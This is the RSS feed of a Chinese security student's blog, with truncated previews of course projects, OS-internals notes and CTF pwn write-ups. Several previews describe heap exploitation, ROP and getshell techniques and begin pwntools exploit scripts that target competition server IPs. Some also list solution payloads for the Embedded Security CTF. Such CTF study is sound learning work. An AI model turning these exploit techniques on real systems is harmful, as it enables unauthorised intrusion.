<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[eeeeeight的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/eeeeeight</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; eeeeeight]]></copyright><item><title><![CDATA[课设-迷宫]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/122204539</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/122204539</guid><author>eeeeeight</author><pubDate>Tue, 28 Dec 2021 22:38:31 +0800</pubDate><description><![CDATA[实验内容
1.迷宫游戏是非常经典的游戏，在该题中要求随机生成一个迷宫，并求解迷宫；
2.要求查找并理解迷宫生成的算法，并尝试用两种不同的算法来生成随机的迷宫。
3.要求迷宫游戏支持玩家走迷宫，和系统走迷宫路径两种模式。玩家走迷宫，通过键盘方向键控制，并在行走路径上留下痕迹；系统提示迷宫路径要求基于A*算法实现，输出玩家当前位置到迷宫出口的最优路径。设计交互友好的游戏图形界面。
实现效果

实现过程：
使用深度优先算法生成和解决迷宫（非A*）
创建两个类，一个Block和一个MazePanel
Block类用]]></description><category></category></item><item><title><![CDATA[课设-贪吃蛇]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/122204470</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/122204470</guid><author>eeeeeight</author><pubDate>Tue, 28 Dec 2021 22:37:20 +0800</pubDate><description><![CDATA[实验内容
1）实现贪吃蛇游戏基本功能，屏幕上随机出现一个“食物”，称为豆子。玩家能利用上下左右键控制“蛇”的移动，“蛇”吃到“豆子”后“蛇”身体加长一节，得分增加，“蛇”碰到边界或蛇头与蛇身相撞，“蛇”死亡，游戏结束。
2）进行交互界面的设计，要有开始键、暂停键和停止退出的选项，能够控制游戏进程。对蛇吃到豆子进行分值计算，可以设置游戏速度，游戏音乐等拓展元素。
实现效果


实现过程
food类
package com.zjxu.snake.game;


import com.zjxu.snake.cor]]></description><category></category></item><item><title><![CDATA[课设-计算器]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/122204443</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/122204443</guid><author>eeeeeight</author><pubDate>Tue, 28 Dec 2021 22:32:37 +0800</pubDate><description><![CDATA[无]]></description><category></category></item><item><title><![CDATA[Embedded Security CTF-2]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/122098675</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/122098675</guid><author>eeeeeight</author><pubDate>Thu, 23 Dec 2021 03:15:45 +0800</pubDate><description><![CDATA[先挖个坑，还有三道就刷完了

]]></description><category></category></item><item><title><![CDATA[Embedded Security CTF-1]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/122076950</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/122076950</guid><author>eeeeeight</author><pubDate>Wed, 22 Dec 2021 02:56:41 +0800</pubDate><description><![CDATA[Embedded Security CTF (1)
Tutorial
有几个不同的指令;
reset:重启cpu
break:地址不加*
unbreak:取消断点
let: gdb下的set
solve: 发送解决问题的请求
payload: 70617373776f7264
New Orleans
内存里直接就能找到了, 但发现好像还有个gets的栈溢出, 预期解payload: 7c30544d492f5a
Sydney
第一次遇到了大端法诶, payload: 7936602430334f66
Han]]></description><category></category></item><item><title><![CDATA[Nov 26, 21在macOS 12.0.1上布置pwn环境]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/121571831</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/121571831</guid><author>eeeeeight</author><pubDate>Sat, 27 Nov 2021 02:04:28 +0800</pubDate><description><![CDATA[前言：
不是让民那桑在mac上做amd架构的题目，我布置环境是为了以后方便pwn arm架构的题目/设备之类的（逃）
Pwn environment:
lldb &amp;&amp; voltron &amp;&amp; tmuxinator &amp;&amp; pwntools:
Because outstanding performance of Plugins in gdb like pwndbg, gef and so on. I choose to install gdb on my M1 Ma]]></description><category></category></item><item><title><![CDATA[just实验一]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/121543212</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/121543212</guid><author>eeeeeight</author><pubDate>Thu, 25 Nov 2021 17:37:22 +0800</pubDate><description><![CDATA[wp记录博客被迫暂时变成学校课程的RBQ惹

]]></description><category></category></item><item><title><![CDATA[2021东华杯pwn部分wp]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/121084820</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/121084820</guid><author>eeeeeight</author><pubDate>Mon, 01 Nov 2021 17:43:16 +0800</pubDate><description><![CDATA[前言:
除了boom都蛮简单的, 第四个pwn因为boom做的有点久就没来得及, 看了眼感觉不难也就不想花时间再做了
cpp1:
由于change时std::cin的大小没有控制好, 所以cin可以输入很多字符, 导致了堆溢出, 且申请回来的时候没有手动清空fd位, 泄露了heap偏移, 得到了tcache结构体的地址, 利用堆溢出控制free块的fd就可以控制整个tcache结构体, 从而使得unsorted bin产生. 同上, 泄露libc偏移, 再利用fd写__free_hook与system, 再]]></description><category></category></item><item><title><![CDATA[2021鹤城杯pwn部分wp]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120680522</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120680522</guid><author>eeeeeight</author><pubDate>Sat, 09 Oct 2021 22:47:49 +0800</pubDate><description><![CDATA[littleof
白给的ret2libc, 第一个输出泄露canary, 第二个输出泄露libc基址顺便控制一下返回地址再返回去输入, 之后就getshell咯(摊手)
#!/usr/bin/env python
#coding=utf-8

from pwn import*
sh = remote("182.116.62.85", 27056)
#sh = process('./littleof')
elf = ELF('./littleof')
libc = ELF('./libc-2.27.so')
]]></description><category></category></item><item><title><![CDATA[操作系统真象-开启分页&加载内核]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120591253</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120591253</guid><author>eeeeeight</author><pubDate>Sun, 03 Oct 2021 04:01:35 +0800</pubDate><description><![CDATA[操作系统真象-开启分页&amp;加载内核
Tags: learning experience, 操作系统
开启分页:
ps. 下面的内容都是基于二级页表的, 毕竟大伙都是用的二级页表, 而且动态规划的二级页表空间利用率高于一级页表哇
为什么要开启分页:
最大化利用物理内存, 避免物理内存啥的, 以及加速内外存交换?(毕竟书上方案B在面对需要大空间进程时, 对内外存交换速度的打击是毁灭性的)
如何开启分页机制:
ps. 这三个步骤是有顺序的

准备好页目录及页表
将页表目录的地址写入cr3
cr0的PG位置零]]></description><category></category></item><item><title><![CDATA[羊城杯和天翼杯的补充]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120558407</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120558407</guid><author>eeeeeight</author><pubDate>Thu, 30 Sep 2021 01:23:04 +0800</pubDate><description><![CDATA[YCB2021-how2heap:
当数组被填满的时候, 再进行删除会出现相同相同指针, 导致uaf
同时也存在数组负索引未检测的问题, 因此got表等也是可以被free的
后面就是修改got表, 使得指向onegadget的地址就行了
(这题当时没做出来主要是因为没发现uaf, 而且在本地仅靠负索引就可以做出来了, 但是在远程由于全局变量的改变, 导致负索引free等操作受限, 所以打不出来, 而且记录的这种做法很巧妙, 反正让我现在做也不一定做得出来, 记录下来主要是为了告诉自己got表可以尝试写入on]]></description><category></category></item><item><title><![CDATA[2021绿城杯pwn部分wp]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120555172</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120555172</guid><author>eeeeeight</author><pubDate>Wed, 29 Sep 2021 21:00:35 +0800</pubDate><description><![CDATA[前言:
这次比赛了解到了还有jspwn这玩意, 然后没时间学(, 十月一定(逃)
uafpwn:
释放之后指针未置零, 所以use after free乱打
from pwn import *

context(log_level = 'debug', arch = 'amd64')
# sh = process('./uaf_pwn')
sh = remote('82.157.5.28', 52102)
elf = ELF('./uaf_pwn')
libc = elf.libc

def add(siz]]></description><category></category></item><item><title><![CDATA[2021长城杯pwn部分wp]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120386415</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120386415</guid><author>eeeeeight</author><pubDate>Sun, 19 Sep 2021 23:36:50 +0800</pubDate><description><![CDATA[前言:
就, 除了vmpwn都是基础glibc的heap题
king_in_heap_1:
delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体泄露libc, 然后mallochook上用realloc调整一下, 打onegadget就完事了
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=remote('47.104.175.110',20066)
#sh=process('./ki]]></description><category></category></item><item><title><![CDATA[操作系统真象-保护模式]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120318934</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120318934</guid><author>eeeeeight</author><pubDate>Wed, 15 Sep 2021 22:52:57 +0800</pubDate><description><![CDATA[操作系统真象-保护模式
Column: September 12, 2021
Tags: learning experience, 操作系统
一点写汇编的新知识:
可以在代码中用[bits xx]来指定生成xx位的shellcode, 如果在接触到下一个[bits xx]之前出现了不符合当前位数的内存/寄存器操作, 则会在机器码之前添加0x66(反转操作数大小前缀)和0x67(反转寻址方式签字), 然后汇编如何在机器码方面体现操作数的位数不同就交给硬件吧!
如何进入保护模式:

打开A20地址线
加载gdt]]></description><category></category></item><item><title><![CDATA[操作系统真象-MBR]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120267220</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120267220</guid><author>eeeeeight</author><pubDate>Mon, 13 Sep 2021 14:59:09 +0800</pubDate><description><![CDATA[操作系统真象-MBR
Column: September 5, 2021
Tags: learning experience, 操作系统
磁盘创建:
两种创建光秃秃系统盘的方法:
qemu:
qemu-img create -f qcow2 -b hd60M.img -size 60M

bochs:
bximage -hd -mode="flat" size=60 -q hd60M.img

磁盘启动:
启动方式:(bochs生成的可以在qemu使用. 但qemu生成的好像不能在bochs使用, 至少在我]]></description><category></category></item><item><title><![CDATA[2021羊城杯pwn部分wp]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120255533</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120255533</guid><author>eeeeeight</author><pubDate>Sun, 12 Sep 2021 20:39:03 +0800</pubDate><description><![CDATA[前言:
羊城杯的how2heap没做出来, rctf也爆零了, 哎, 颓了
BabyRop:
最基础的栈溢出rop链, 直接贴exp了:
from pwn import *

#p=process('./BabyRop')
p=remote('192.168.41.23', 11000)
context.log_level='debug'
sh=0x804c029
system=0x80490a0
#gdb.attach(p,'b *0x804926a')

p.sendline('a'*0x28+'b'*]]></description><category></category></item><item><title><![CDATA[21 09 05学习总结(qwb_2018_core kernel rop)]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/120114227</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/120114227</guid><author>eeeeeight</author><pubDate>Sun, 05 Sep 2021 13:59:37 +0800</pubDate><description><![CDATA[21.09.05学习总结(qwb_2018_core kernel rop)
Column: September 1, 2021
Tags: kernel study, learning experience
大概是好久之后更新的一篇blog了, 之前都在忙忙碌碌的打比赛呢, 痴痴的看着短视频, 莫名其妙就会让时间流走呢(笑, 最近不会再这样了)
qwb_2018_core, 唔, kernel还不是学的很好呢, 先注释一遍吧, 加强理解:
#include &lt;string.h&gt;
#includ]]></description><category></category></item><item><title><![CDATA[祥云杯部分pwn的wp]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/119881138</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/119881138</guid><author>eeeeeight</author><pubDate>Tue, 24 Aug 2021 01:18:11 +0800</pubDate><description><![CDATA[lemon
主要问题是2.26版本下, 未控制好指针导致任意写
数据结构如下:
lemon_name:

lemon_content:

主要可利用的函数是color:

里的buf是指lemon_name结构, 所以可以控制指针lemon_addr的指向了, 因为只能用一次所以想控制整个tcache结构
其它一点可利用的函数:
开头的一次welcome:

虽然是有rand, 但无随机数种子, 所以是固定值, z3一把????!
eat函数: 可以打印chunkaddr第四字节, 用于配合后面分配堆块
整]]></description><category></category></item><item><title><![CDATA[21 08 10学习总结]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/119584519</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/119584519</guid><author>eeeeeight</author><pubDate>Wed, 11 Aug 2021 01:26:06 +0800</pubDate><description><![CDATA[21.08.10学习总结
Column: August 10, 2021
Tags: learning experience
不知道什么时间-不知道什么时间: buu刷题
Re:
不一样的flag: 迷宫题の初体验, 一开始IDA的分析不对导致分析题目分析不出来, 就问了一下学长如何修改IDA的stack显示(先edit-undefined, 再右击选择array啥的或者按D表示define啥的), 而后就是分析迷宫, 由于这个字符串被默认认为是在末尾加上\x00了, 所以才被识别为char[26], 实际]]></description><category></category></item><item><title><![CDATA[21 08 08学习总结]]></title><link>https://blog.youkuaiyun.com/eeeeeight/article/details/119581783</link><guid>https://blog.youkuaiyun.com/eeeeeight/article/details/119581783</guid><author>eeeeeight</author><pubDate>Tue, 10 Aug 2021 23:22:13 +0800</pubDate><description><![CDATA[21.08.08学习总结
Tags: learning experience
不知道什么时间-不知道什么时间: BUU刷题
re找门:
xor: 一个数xor同一个数两次之后仍然是其本身
reverse3: 一个base64的加密, 主函数里有个+i的操作, 把+i消去之后base64解密就行了, 但是因为是萌新第一次接触re的base64, 于是就自己写了个base64的加密与解密练手(ida的ctrl e是直接选取字符串)
helloword: jeb打开, 就能直接找到了
SimpleRev: 前面有]]></description><category></category></item></channel></rss>